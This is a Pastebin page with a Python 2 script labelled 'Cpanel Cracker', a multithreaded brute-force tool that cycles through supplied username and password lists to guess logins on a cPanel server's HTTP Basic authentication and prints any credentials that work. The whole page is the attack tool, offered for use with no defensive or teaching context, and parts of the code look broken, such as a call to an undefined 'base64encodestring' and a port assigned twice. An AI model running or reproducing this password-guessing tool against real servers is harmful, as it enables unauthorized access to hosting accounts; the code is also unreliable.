stoker

Cpanel Cracker

Mar 8th, 2014
581
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.13 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import time,random,base64,sys,threading,urllib2,httplib
  4. from copy import copy
  5.  
  6. def stoker():
  7.   print '''
  8.  +-+-+-+-+-+-+ +-+-+-+-+-+
  9.  |C|p|a|n|e|l| |B|r|u|t|e|
  10.  +-+-+-+-+-+-+ +-+-+-+-+-+
  11.  
  12.  [!] Python Cpanel Brute Forcer
  13.  [!] Author : Muhammad Adeel aka Innoxent Stoker
  14.  [!] Mail: [email protected]
  15.  [!] usage :  ./script.py server port user.txt pass.txt
  16.  '''
  17.  
  18. def timer():
  19.     now = time.localtime(time.time())
  20.     return time.asctime(now)
  21. if len(sys.argv) !=5:
  22.     stoker()
  23.     sys.exit(1)
  24. try:
  25.     users = open(sys.argv[3], "r").readlines()
  26. except(IOError):
  27.     print "[*]Error, Check Users List Path.\n"
  28.     sys.exit(1)
  29. try:
  30.     passwd = open(sys.argv[4], "r").readlines()
  31. except(IOError):
  32.     print "[*]Error, Check your Password list path.\n"
  33.     sys.exit(1)
  34.  
  35. passlist = copy(passwd)
  36.  
  37. def reloader():
  38.     for word in passlist:
  39.         passwd.append(word)
  40. def getpw():
  41.     lock = threading.Lock()
  42.     lock.acquire()
  43.     if len(passwd) != 0:
  44.         value = random.sample(passwd,  1)
  45.         passwd.remove(value[0])    
  46.     else:
  47.         print "\n[*]PathList Reloading ~ changing User..\n"
  48.         reloader()
  49.         value = random.sample(passwd,  1)
  50.         users.remove(users[0])
  51.        
  52.     lock.release()
  53.     if len(users) ==1:
  54.         return users[0], value[0][:-1]
  55.     else:
  56.         return users[0][:-1], value[0][:-1]
  57. def anonghost(url):
  58.    
  59.     req = urllib2.Request(url)
  60.     try:
  61.             handle = urllib2.urlopen(req)
  62.     except IOError, e:              
  63.             pass
  64.     else:                              
  65.             print "[*]Cannot Open the Page.\n"
  66.             sys.exit(1)
  67.    
  68.     if not hasattr(e, 'code') or e.code != 401:                
  69.             print "\n[*]An Error Occured while Loading Page."
  70.             sys.exit(1)
  71.  
  72.     authline = e.headers.get('www-authenticate', '')    
  73.          
  74.     if not authline:
  75.             print '\n[*]Basic authentication Header not found.\n'
  76.             sys.exit(1)
  77.     else:
  78.         return authline
  79. class pakistani(threading.Thread):
  80.     def run(self):
  81.         username, password = getpw()
  82.         try:
  83.             print "-"*12
  84.             print "UserName: ",username,"Password: ",password
  85.             auth_handler = urllib2.HTTPBasicAuthHandler()
  86.             auth_handler.add_password("cPanel", server, base64encodestring(username)[:-1], base64encodestring(password)[:-1])
  87.             opener = urllib2.build_opener(auth_handler)
  88.             urllib2.install_opener(opener)
  89.             urllib2.urlopen(server)
  90.             print "\t\n\nUsername: ",username,"Password: ",password,"-- Logged in Successfully."           
  91.         except (urllib2.HTTPError, httplib.BadStatusLine), msg:
  92.             print "An error occurred: ", msg
  93.             pass
  94.        
  95. stoker()
  96. if sys.argv[1][-1] == "/":
  97.     sys.argv[1] = sys.argv[1][:-1]
  98. server = sys.argv[1]+":2082"
  99. if sys.argv[2].isdigit() == False:
  100.     print "[*] Port should be a number\n"
  101.     sys.exit(1)
  102. else:
  103.     port = sys.argv[2]
  104. if sys.argv[1][-1] == "/":
  105.     sys.argv[1] = sys.argv[1][:-1]
  106. server = sys.argv[1]+":"+port
  107.  
  108. print "[!] Server: ",server,"[!] Port: ",port
  109. print "[!] Usernames Loaded: ",len(users),"[!] PassWords Loaded: ",len(passwd)
  110. print "[!]",anonghost(server), "[!] Started ",timer(),"\n"
  111.  
  112. for i in range(len(passwd)*len(users)):
  113.     work = pakistani()
  114.     work.setDaemon(1)
  115.     work.start()
  116.     time.sleep(1)
  117. print "\n[!] Job Finished -",timer(),"\n"
Add Comment
Please, Sign In to add comment